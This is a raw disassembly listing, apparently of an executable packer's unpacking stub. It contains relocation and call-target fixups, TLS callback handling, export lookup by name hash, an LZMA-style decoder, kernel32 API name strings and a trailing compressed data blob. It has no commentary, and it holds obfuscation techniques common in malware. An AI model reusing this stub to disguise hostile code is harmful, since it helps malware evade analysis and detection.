loc_69BCFF: ; CODE XREF: sub_69BCC2+7Bj
movzx eax, byte ptr [esi]
cmp al, 0E0h
jnb short loc_69BD1A
push eax
add eax, edx
add eax, ebx
add eax, ecx
add ecx, [esp+24h+var_24]
add esp, 4
sub [eax], edi
add [eax], ebx
inc esi
jmp short loc_69BD37
; ---------------------------------------------------------------------------
loc_69BD1A: ; CODE XREF: sub_69BCC2+42j
movzx eax, word ptr [esi]
xchg al, ah
sub ax, 0E000h
push eax
add eax, edx
add eax, ebx
add eax, ecx
add ecx, [esp+24h+var_24]
add esp, 4
sub [eax], edi
add [eax], ebx
add esi, 2
loc_69BD37: ; CODE XREF: sub_69BCC2+3Bj
; sub_69BCC2+56j
cmp esi, [ebp+0CA4h]
jb short loc_69BCFF
loc_69BD3F: ; CODE XREF: sub_69BCC2+1Dj
cmp dword ptr [esi], 0
jnz short loc_69BCE1
loc_69BD44: ; CODE XREF: sub_69BCC2+9j
; sub_69BCC2+19j
popa
retn
sub_69BCC2 endp
; =============== S U B R O U T I N E =======================================
sub_69BD46 proc near ; CODE XREF: start+92p
pusha
mov esi, [ebp+0CA8h]
add esi, [ebp+0C9Ch]
mov edi, esi
mov ecx, [ebp+0CACh]
cmp dword ptr [ebp+0CB0h], 0
jz short loc_69BD98
jmp short loc_69BD91
; ---------------------------------------------------------------------------
loc_69BD66: ; CODE XREF: sub_69BD46+4Ej
cmp byte ptr [esi], 0E8h
jz short loc_69BD70
cmp byte ptr [esi], 0E9h
jnz short loc_69BD8F
loc_69BD70: ; CODE XREF: sub_69BD46+23j
mov eax, [esi+1]
cmp al, [ebp+0CB0h]
jnz short loc_69BD89
mov al, 0
bswap eax
sub eax, 5
add eax, edi
sub eax, esi
mov [esi+1], eax
loc_69BD89: ; CODE XREF: sub_69BD46+33j
add esi, 4
sub ecx, 4
loc_69BD8F: ; CODE XREF: sub_69BD46+28j
inc esi
dec ecx
loc_69BD91: ; CODE XREF: sub_69BD46+1Ej
cmp ecx, 0
ja short loc_69BD66
jmp short loc_69BDC0
; ---------------------------------------------------------------------------
loc_69BD98: ; CODE XREF: sub_69BD46+1Cj
cdq
jmp short loc_69BDBB
; ---------------------------------------------------------------------------
loc_69BD9B: ; CODE XREF: sub_69BD46+78j
inc edx
cmp byte ptr [esi], 0E8h
jz short loc_69BDA6
cmp byte ptr [esi], 0E9h
jnz short loc_69BDB9
loc_69BDA6: ; CODE XREF: sub_69BD46+59j
mov eax, [esi+1]
bswap eax
sub eax, edx
mov [esi+1], eax
add esi, 4
add edx, 4
sub ecx, 4
loc_69BDB9: ; CODE XREF: sub_69BD46+5Ej
inc esi
dec ecx
loc_69BDBB: ; CODE XREF: sub_69BD46+53j
cmp ecx, 0
ja short loc_69BD9B
loc_69BDC0: ; CODE XREF: sub_69BD46+50j
popa
retn
sub_69BD46 endp
; =============== S U B R O U T I N E =======================================
sub_69BDC2 proc near ; CODE XREF: start+1A4p
pusha
mov esi, [ebp+0CA0h]
mov esi, [ebp+0C9Ch]
add esi, [esi+3Ch]
mov esi, [esi+0C0h]
or esi, esi
jz short loc_69BE0B
add esi, [ebp+0C9Ch]
add esi, 0Ch
mov esi, [esi]
or esi, esi
jz short loc_69BE0B
mov eax, [esi]
jmp short loc_69BE07
; ---------------------------------------------------------------------------
loc_69BDEF: ; CODE XREF: sub_69BDC2+47j
push esi
cmp dword ptr [eax], 0
jz short loc_69BE01
push 0
push 1
push dword ptr [ebp+0C9Ch]
call eax
loc_69BE01: ; CODE XREF: sub_69BDC2+31j
pop esi
add esi, 4
mov eax, [esi]
loc_69BE07: ; CODE XREF: sub_69BDC2+2Bj
or eax, eax
jnz short loc_69BDEF
loc_69BE0B: ; CODE XREF: sub_69BDC2+18j
; sub_69BDC2+27j
popa
retn
sub_69BDC2 endp
; =============== S U B R O U T I N E =======================================
sub_69BE0D proc near ; CODE XREF: start+11Dp sub_69BE9F+14p
var_4 = dword ptr -4
arg_0 = byte ptr 4
lea eax, [esp+arg_0]
pusha
mov esi, eax
mov eax, [esi+4]
rol eax, 8
cmp al, 80h
jnz short loc_69BE3C
ror eax, 8
xor eax, 80000000h
cmp eax, 10000h
jbe short loc_69BE49
xor eax, 80000000h
push eax
push dword ptr [esi]
call sub_69BE5A
jmp short loc_69BE49
; ---------------------------------------------------------------------------
loc_69BE3C: ; CODE XREF: sub_69BE0D+Fj
ror eax, 8
push dword ptr [esi+4]
push dword ptr [esi]
call sub_69BE5A
loc_69BE49: ; CODE XREF: sub_69BE0D+1Ej
; sub_69BE0D+2Dj
push eax
push dword ptr [esi]
call dword ptr [ebp+0C29h]
mov [esp+20h+var_4], eax
popa
retn 8
sub_69BE0D endp
; =============== S U B R O U T I N E =======================================
sub_69BE5A proc near ; CODE XREF: sub_69BE0D+28p
; sub_69BE0D+37p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebx, [esp+20h+arg_0]
mov ecx, ebx
add ebx, [ebx+3Ch]
mov ebx, [ebx+78h]
add ebx, ecx
mov edi, [ebx+20h]
add edi, ecx
xor esi, esi
loc_69BE70: ; CODE XREF: sub_69BE5A+34j
lea edx, [edi+esi*4]
mov edx, [edx]
add edx, ecx
xor eax, eax
loc_69BE79: ; CODE XREF: sub_69BE5A+28j
rol eax, 7
xor al, [edx]
inc edx
cmp byte ptr [edx], 0
jnz short loc_69BE79
cmp eax, [esp+20h+arg_4]
jz short loc_69BE90
inc esi
cmp esi, [ebx+18h]
jb short loc_69BE70
loc_69BE90: ; CODE XREF: sub_69BE5A+2Ej
lea edx, [edi+esi*4]
mov edx, [edx]
add edx, ecx
mov [esp+20h+var_4], edx
popa
retn 8
sub_69BE5A endp
; =============== S U B R O U T I N E =======================================
sub_69BE9F proc near ; CODE XREF: start+F7p
arg_4 = dword ptr 8
pusha
lea eax, [ebp+0C18h]
push eax
call dword ptr [ebp+0C25h]
push 774393E8h
push eax
call sub_69BE0D
mov edi, eax
push 40h
push 1000h
push 104h
push 0
call dword ptr [ebp+0C2Dh]
mov [ebp+0CB4h], eax
push 104h
push dword ptr [ebp+0CB4h]
cmp dword ptr [ebp+0C9Ch], 0
jz short loc_69BEF0
push dword ptr [ebp+0C9Ch]
jmp short loc_69BEF6
; ---------------------------------------------------------------------------
loc_69BEF0: ; CODE XREF: sub_69BE9F+47j
push dword ptr [ebp+0C98h]
loc_69BEF6: ; CODE XREF: sub_69BE9F+4Fj
call edi
mov eax, [ebp+0CB4h]
jmp short loc_69BF01
; ---------------------------------------------------------------------------
loc_69BF00: ; CODE XREF: sub_69BE9F+65j
inc eax
loc_69BF01: ; CODE XREF: sub_69BE9F+5Fj
cmp byte ptr [eax], 0
jnz short loc_69BF00
jmp short loc_69BF0C
; ---------------------------------------------------------------------------
loc_69BF08: ; CODE XREF: sub_69BE9F+70j
mov byte ptr [eax], 0
dec eax
loc_69BF0C: ; CODE XREF: sub_69BE9F+67j
cmp byte ptr [eax], 5Ch
jnz short loc_69BF08
inc eax
jmp short loc_69BF1B
; ---------------------------------------------------------------------------
loc_69BF14: ; CODE XREF: sub_69BE9F+7Fj
movzx ebx, byte ptr [esi]
mov [eax], bl
inc esi
inc eax
loc_69BF1B: ; CODE XREF: sub_69BE9F+73j
cmp byte ptr [esi], 0
jnz short loc_69BF14
push dword ptr [ebp+0CB4h]
call dword ptr [ebp+0C25h]
mov [esp+14h+arg_4], eax
push 8000h
push 0
push dword ptr [ebp+0CB4h]
call dword ptr [ebp+0C31h]
popa
retn
sub_69BE9F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 30h
xor eax, eax
inc eax
mov edi, [ebp+10h]
mov [ebp-14h], eax
mov [ebp-1Ch], eax
mov [ebp-18h], eax
mov [ebp-28h], eax
mov eax, 400h
xor edx, edx
mov ecx, 30736h
rep stosd
mov eax, [ebp+0Ch]
push 5
mov [ebp-8], eax
mov [ebp-10h], edx
mov [ebp-1], dl
mov [ebp-0Ch], edx
mov [ebp+0Ch], edx
or eax, 0FFFFFFFFh
pop ecx
loc_69BF83: ; CODE XREF: _9:0069BF98j
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
inc dword ptr [ebp-8]
dec ecx
mov [ebp+0Ch], edx
jnz short loc_69BF83
loc_69BF9A: ; CODE XREF: _9:0069C12Cj _9:0069C13Bj ...
mov esi, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
and esi, 3
shl ecx, 4
add ecx, esi
cmp eax, 1000000h
lea edi, [edx+ecx*4]
jnb short loc_69BFCC
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69BFCC: ; CODE XREF: _9:0069BFB3j
mov ecx, [edi]
mov ebx, eax
shr ebx, 0Bh
imul ebx, ecx
cmp [ebp+0Ch], ebx
jnb loc_69C149
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
movzx ecx, byte ptr [ebp-1]
imul ecx, 0C00h
xor edx, edx
mov [edi], esi
mov esi, [ebp+10h]
inc edx
cmp dword ptr [ebp-0Ch], 7
lea ecx, [esi+ecx+1CD8h]
mov eax, ebx
mov [ebp-20h], ecx
jl loc_69C0B2
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
mov esi, [ebp+8]
movzx ecx, byte ptr [esi+ecx]
mov [ebp-24h], ecx
loc_69C023: ; CODE XREF: _9:0069C0AAj
shl dword ptr [ebp-24h], 1
mov esi, [ebp-24h]
mov edi, [ebp-20h]
and esi, 100h
cmp eax, 1000000h
lea ecx, [edx+esi]
lea ecx, [edi+ecx*4+400h]
mov [ebp-2Ch], ecx
jnb short loc_69C05D
mov ebx, [ebp-8]
mov edi, [ebp+0Ch]
movzx ebx, byte ptr [ebx]
shl edi, 8
or edi, ebx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edi
loc_69C05D: ; CODE XREF: _9:0069C044j
mov ecx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_69C08B
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-2Ch]
add edx, edx
test esi, esi
mov [ecx], edi
jnz loc_69C10B
jmp short loc_69C0A4
; ---------------------------------------------------------------------------
loc_69C08B: ; CODE XREF: _9:0069C06Aj
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
test esi, esi
mov edi, [ebp-2Ch]
mov [edi], ecx
lea edx, [edx+edx+1]
jz short loc_69C10B
loc_69C0A4: ; CODE XREF: _9:0069C089j
cmp edx, 100h
jl loc_69C023
jmp short loc_69C113
; ---------------------------------------------------------------------------
loc_69C0B2: ; CODE XREF: _9:0069C00Dj _9:0069C111j
cmp eax, 1000000h
mov ecx, [ebp-20h]
lea edi, [ecx+edx*4]
jnb short loc_69C0D6
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69C0D6: ; CODE XREF: _9:0069C0BDj
mov ecx, [edi]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_69C0F9
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi], esi
add edx, edx
jmp short loc_69C10B
; ---------------------------------------------------------------------------
loc_69C0F9: ; CODE XREF: _9:0069C0E3j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi], ecx
lea edx, [edx+edx+1]
loc_69C10B: ; CODE XREF: _9:0069C083j _9:0069C0A2j ...
cmp edx, 100h
jl short loc_69C0B2
loc_69C113: ; CODE XREF: _9:0069C0B0j
mov esi, [ebp-10h]
mov ecx, [ebp+8]
inc dword ptr [ebp-10h]
cmp dword ptr [ebp-0Ch], 4
mov [ebp-1], dl
mov [ecx+esi], dl
jge short loc_69C131
and dword ptr [ebp-0Ch], 0
jmp loc_69BF9A
; ---------------------------------------------------------------------------
loc_69C131: ; CODE XREF: _9:0069C126j
cmp dword ptr [ebp-0Ch], 0Ah
jge short loc_69C140
sub dword ptr [ebp-0Ch], 3
jmp loc_69BF9A
; ---------------------------------------------------------------------------
loc_69C140: ; CODE XREF: _9:0069C135j
sub dword ptr [ebp-0Ch], 6
jmp loc_69BF9A
; ---------------------------------------------------------------------------
loc_69C149: ; CODE XREF: _9:0069BFD9j
sub [ebp+0Ch], ebx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov edx, [ebp-0Ch]
sub eax, ebx
cmp eax, 1000000h
mov [edi], ecx
mov ecx, [ebp+10h]
lea edx, [ecx+edx*4+300h]
jnb short loc_69C182
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69C182: ; CODE XREF: _9:0069C169j
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_69C1D4
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
cmp dword ptr [ebp-0Ch], 7
mov ecx, [ebp-18h]
mov [ebp-28h], ecx
mov ecx, [ebp-1Ch]
mov [ebp-18h], ecx
mov ecx, [ebp-14h]
mov [edx], edi
mov [ebp-1Ch], ecx
jge short loc_69C1BF
and dword ptr [ebp-0Ch], 0
jmp short loc_69C1C6
; ---------------------------------------------------------------------------
loc_69C1BF: ; CODE XREF: _9:0069C1B7j
mov dword ptr [ebp-0Ch], 3
loc_69C1C6: ; CODE XREF: _9:0069C1BDj
mov ecx, [ebp+10h]
add ecx, 0CC8h
jmp loc_69C3BD
; ---------------------------------------------------------------------------
loc_69C1D4: ; CODE XREF: _9:0069C18Fj
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edi, [edx+ecx*4+330h]
jnb short loc_69C20D
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69C20D: ; CODE XREF: _9:0069C1F4j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb loc_69C2C1
mov ebx, 800h
sub ebx, ecx
shr ebx, 5
add ebx, ecx
mov ecx, [ebp-0Ch]
add ecx, 0Fh
shl ecx, 4
mov [edi], ebx
mov edi, [ebp+10h]
add ecx, esi
cmp edx, 1000000h
mov eax, edx
lea edi, [edi+ecx*4]
jnb short loc_69C262
mov ecx, [ebp+0Ch]
shl edx, 8
mov eax, edx
mov edx, [ebp-8]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69C262: ; CODE XREF: _9:0069C247j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb short loc_69C2AE
mov esi, [ebp-10h]
mov eax, edx
mov edx, 800h
sub edx, ecx
shr edx, 5
add edx, ecx
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
mov [edi], edx
mov edx, [ebp+8]
setnl cl
lea ecx, [ecx+ecx+9]
mov [ebp-0Ch], ecx
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
inc dword ptr [ebp-10h]
mov cl, [edx+ecx]
mov [ebp-1], cl
mov [edx+esi], cl
jmp loc_69BF9A
; ---------------------------------------------------------------------------
loc_69C2AE: ; CODE XREF: _9:0069C26Fj
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov [edi], ecx
jmp loc_69C3A1
; ---------------------------------------------------------------------------
loc_69C2C1: ; CODE XREF: _9:0069C21Aj
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
cmp eax, 1000000h
mov edx, [ebp+10h]
mov [edi], ecx
mov ecx, [ebp-0Ch]
lea edx, [edx+ecx*4+360h]
jnb short loc_69C2FA
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69C2FA: ; CODE XREF: _9:0069C2E1j
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_69C31E
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-1Ch]
mov [edx], edi
jmp short loc_69C398
; ---------------------------------------------------------------------------
loc_69C31E: ; CODE XREF: _9:0069C307j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edx, [edx+ecx*4+390h]
jnb short loc_69C357
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69C357: ; CODE XREF: _9:0069C33Ej
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_69C37B
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-18h]
mov [edx], edi
jmp short loc_69C392
; ---------------------------------------------------------------------------
loc_69C37B: ; CODE XREF: _9:0069C364j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
mov [edx], ecx
mov edx, [ebp-18h]
mov ecx, [ebp-28h]
mov [ebp-28h], edx
loc_69C392: ; CODE XREF: _9:0069C379j
mov edx, [ebp-1Ch]
mov [ebp-18h], edx
loc_69C398: ; CODE XREF: _9:0069C31Cj
mov edx, [ebp-14h]
mov [ebp-1Ch], edx
mov [ebp-14h], ecx
loc_69C3A1: ; CODE XREF: _9:0069C2BCj
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
setnl cl
dec ecx
and ecx, 0FFFFFFFDh
add ecx, 0Bh
mov [ebp-0Ch], ecx
mov ecx, [ebp+10h]
add ecx, 14D0h
loc_69C3BD: ; CODE XREF: _9:0069C1CFj
cmp eax, 1000000h
jnb short loc_69C3DB
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_69C3DB: ; CODE XREF: _9:0069C3C2j
mov edx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_69C407
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
and dword ptr [ebp-24h], 0
mov [ecx], edi
lea ecx, [ecx+esi+8]
jmp short loc_69C465
; ---------------------------------------------------------------------------
loc_69C407: ; CODE XREF: _9:0069C3E8j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, edx
shr edi, 5
sub edx, edi
cmp eax, 1000000h
mov [ecx], edx
jnb short loc_69C433
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_69C433: ; CODE XREF: _9:0069C41Aj
mov edx, [ecx+4]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_69C46E
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
mov [ecx+4], edi
lea ecx, [ecx+esi+208h]
mov dword ptr [ebp-24h], 8
loc_69C465: ; CODE XREF: _9:0069C405j
mov dword ptr [ebp-20h], 3
jmp short loc_69C491
; ---------------------------------------------------------------------------
loc_69C46E: ; CODE XREF: _9:0069C441j
sub [ebp+0Ch], edi
mov esi, edx
shr esi, 5
sub edx, esi
sub eax, edi
mov [ecx+4], edx
add ecx, 408h
mov dword ptr [ebp-24h], 10h
mov dword ptr [ebp-20h], 8
loc_69C491: ; CODE XREF: _9:0069C46Cj
mov edx, [ebp-20h]
xor ebx, ebx
mov [ebp-2Ch], edx
inc ebx
loc_69C49A: ; CODE XREF: _9:0069C4F3j
cmp eax, 1000000h
jnb short loc_69C4B8
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_69C4B8: ; CODE XREF: _9:0069C49Fj
mov edx, [ecx+ebx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_69C4DD
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ecx+ebx*4], esi
add ebx, ebx
jmp short loc_69C4F0
; ---------------------------------------------------------------------------
loc_69C4DD: ; CODE XREF: _9:0069C4C6j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
mov [ecx+ebx*4], edx
lea ebx, [ebx+ebx+1]
loc_69C4F0: ; CODE XREF: _9:0069C4DBj
dec dword ptr [ebp-2Ch]
jnz short loc_69C49A
mov ecx, [ebp-20h]
xor edx, edx
inc edx
mov esi, edx
shl esi, cl
mov ecx, [ebp-24h]
sub ecx, esi
add ebx, ecx
cmp dword ptr [ebp-0Ch], 4
mov [ebp-30h], ebx
jge loc_69C6A7
add dword ptr [ebp-0Ch], 7
cmp ebx, 4
jge short loc_69C520
mov ecx, ebx
jmp short loc_69C523
; ---------------------------------------------------------------------------
loc_69C520: ; CODE XREF: _9:0069C51Aj
push 3
pop ecx
loc_69C523: ; CODE XREF: _9:0069C51Ej
mov esi, [ebp+10h]
shl ecx, 8
lea edi, [esi+ecx+6C0h]
mov dword ptr [ebp-2Ch], 6
loc_69C537: ; CODE XREF: _9:0069C590j
cmp eax, 1000000h
jnb short loc_69C555
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_69C555: ; CODE XREF: _9:0069C53Cj
mov ecx, [edi+edx*4]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_69C57A
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi+edx*4], esi
add edx, edx
jmp short loc_69C58D
; ---------------------------------------------------------------------------
loc_69C57A: ; CODE XREF: _9:0069C563j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi+edx*4], ecx
lea edx, [edx+edx+1]
loc_69C58D: ; CODE XREF: _9:0069C578j
dec dword ptr [ebp-2Ch]
jnz short loc_69C537
sub edx, 40h
cmp edx, 4
mov edi, edx
jl loc_69C678
mov ecx, edx
sar ecx, 1
and edi, 1
dec ecx
or edi, 2
cmp edx, 0Eh
mov [ebp-14h], ecx
jge short loc_69C5C5
shl edi, cl
mov ecx, edi
sub ecx, edx
mov edx, [ebp+10h]
lea ebx, [edx+ecx*4+0ABCh]
jmp short loc_69C60B
; ---------------------------------------------------------------------------
loc_69C5C5: ; CODE XREF: _9:0069C5B1j
sub ecx, 4
loc_69C5C8: ; CODE XREF: _9:0069C5F6j
cmp eax, 1000000h
jnb short loc_69C5E6
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_69C5E6: ; CODE XREF: _9:0069C5CDj
shr eax, 1
add edi, edi
cmp [ebp+0Ch], eax
jb short loc_69C5F5
sub [ebp+0Ch], eax
or edi, 1
loc_69C5F5: ; CODE XREF: _9:0069C5EDj
dec ecx
jnz short loc_69C5C8
mov ebx, [ebp+10h]
add ebx, 0C88h
shl edi, 4
mov dword ptr [ebp-14h], 4
loc_69C60B: ; CODE XREF: _9:0069C5C3j
xor ecx, ecx
inc ecx
mov [ebp-20h], ebx
mov [ebp-24h], ecx
loc_69C614: ; CODE XREF: _9:0069C676j
cmp eax, 1000000h
jnb short loc_69C632
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_69C632: ; CODE XREF: _9:0069C619j
mov edx, [ebx+ecx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_69C657
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ebx+ecx*4], esi
add ecx, ecx
jmp short loc_69C670
; ---------------------------------------------------------------------------
loc_69C657: ; CODE XREF: _9:0069C640j
sub [ebp+0Ch], esi
mov ebx, [ebp-20h]
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
or edi, [ebp-24h]
mov [ebx+ecx*4], edx
lea ecx, [ecx+ecx+1]
loc_69C670: ; CODE XREF: _9:0069C655j
shl dword ptr [ebp-24h], 1
dec dword ptr [ebp-14h]
jnz short loc_69C614
loc_69C678: ; CODE XREF: _9:0069C59Aj
inc edi
mov [ebp-14h], edi
jz short loc_69C6AC
mov ebx, [ebp-30h]
loc_69C681: ; CODE XREF: _9:0069C6AAj
mov ecx, [ebp-10h]
inc ebx
sub ecx, edi
inc ebx
add ecx, [ebp+8]
loc_69C68B: ; CODE XREF: _9:0069C6A0j
mov dl, [ecx]
mov esi, [ebp-10h]
mov edi, [ebp+8]
dec ebx
inc dword ptr [ebp-10h]
inc ecx
test ebx, ebx
mov [ebp-1], dl
mov [edi+esi], dl
jnz short loc_69C68B
jmp loc_69BF9A
; ---------------------------------------------------------------------------
loc_69C6A7: ; CODE XREF: _9:0069C50Dj
mov edi, [ebp-14h]
jmp short loc_69C681
; ---------------------------------------------------------------------------
loc_69C6AC: ; CODE XREF: _9:0069C67Cj
mov eax, [ebp-10h]
leave
retn 0Ch
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 0DB000000h, 0E80029C6h, 29C6h, 4 dup(0)
dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 7C801D77h
dd 7C80ADA0h, 7C809A51h, 7C809AE4h, 7C801AD0h, 0
dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
dd 65726464h, 7373h, 74726956h, 416C6175h, 636F6C6Ch, 69560000h
dd 61757472h, 6572466Ch, 56000065h, 75747269h, 72506C61h
dd 6365746Fh, 74h, 8000010h, 20000000h, 0
dd 3200h, 2 dup(4000h), 2 dup(0)
dd 10h, 12000356h, 2 dup(0)
dd 8B7C8000h, 3F02h, 9C003F00h, 27B3h, 0D3000010h, 2923h
dd 9B000370h, 292Ch, 400003A0h, 29B9h, 2790h, 0
dd 44469125h, 0AC863AE2h, 0F97AFF9h, 630B9B61h, 0ED1797E5h
dd 57F6C8FCh, 0FF87C06Bh, 0D4A91776h, 46EA65Fh, 23850F2Eh
dd 0AE2967D4h, 0F4DF7A22h, 4D2E782Eh, 36231104h, 0F8F51417h
dd 1FF9DFCEh, 645F3496h, 8E8B1A3Bh, 1C85A580h, 0B0882202h
dd 0CD3760B0h, 9526D8CDh, 6FA26A27h, 0F5A2ABB0h, 0EF6D9DAEh
dd 1EFF40B0h, 0B906F3Fh, 26ABD4FEh, 94E93308h, 0A0C72792h
dd 75359066h, 309C35ADh, 0DB1ED1C2h, 2E25F845h, 4500860Ah
dd 0A624DE4Eh, 0BE9D0F40h, 14CE8711h, 0A3A88BD1h, 0E31A6543h
dd 9003CEC3h, 0C355545Ah, 0AE58E623h, 6D001493h, 68FA2C01h
dd 9CC0FB7Ah, 524CDE74h, 800CD3EFh, 0B2785317h, 9E0A2FE1h
dd 0A06940F0h, 0B14898DDh, 93E4C37Ah, 0E92A0931h, 1BF0880Ch
dd 21BB73FDh, 4916AD93h, 0A7A3F7C1h, 5043E83Ah, 0A15975C1h
dd 96A9704Bh, 5E483EF7h, 0D01915AEh, 0E8350786h, 83189CE9h
dd 94490FA6h, 0BB08E889h, 620FA8ECh, 457FAEB3h, 0D3532A36h
dd 0CF44F661h, 1E439EE7h, 54DD0E5Bh, 0FE52E6C8h, 0BFC47CFEh
dd 0E6DD504Eh, 37777CBBh, 6B686B2Dh, 0F3AD7BECh, 982EEA09h
dd 406A26FCh, 14447CEAh, 0B1E600D1h, 0EAADE7EDh, 8001CCF3h
dd 72AF09B3h, 0C862980Ch, 1E5D2326h, 0D15D8D1Bh, 503D947Ah
dd 0EFF1A467h, 1557245Ah, 1742ECF9h, 72F0FD4Eh, 616C8E73h
dd 60AC90B1h, 538C8261h, 0D52B9CB3h, 5C346CB3h, 0C61546F4h
dd 2F918861h, 0EA271928h, 3EEB3903h, 0FB9A90CDh, 0C73A11FBh
dd 8DD550BAh, 3D7E95BBh, 0B8127ED3h, 3EBA349Dh, 0C5D41282h
